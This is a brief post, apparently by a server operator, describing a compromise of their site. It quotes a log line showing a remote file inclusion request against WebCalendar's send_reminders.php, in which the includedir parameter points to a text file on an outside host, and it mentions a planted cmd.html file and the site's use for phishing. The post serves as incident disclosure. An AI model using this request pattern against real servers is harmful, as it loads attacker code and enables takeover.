After finding these entries in the logfile and finding a cmd.html-file in this directory, I was disconnected because I was working as a phishing-site.

"POST /WebCalendar/tools/send_reminders.php?includedir=<http://65.xxx.xx.xxx/dir/a.txt>? HTTP/1.1" 200
7315

In other words, the attacker has improved his actions.

More files are available on request.
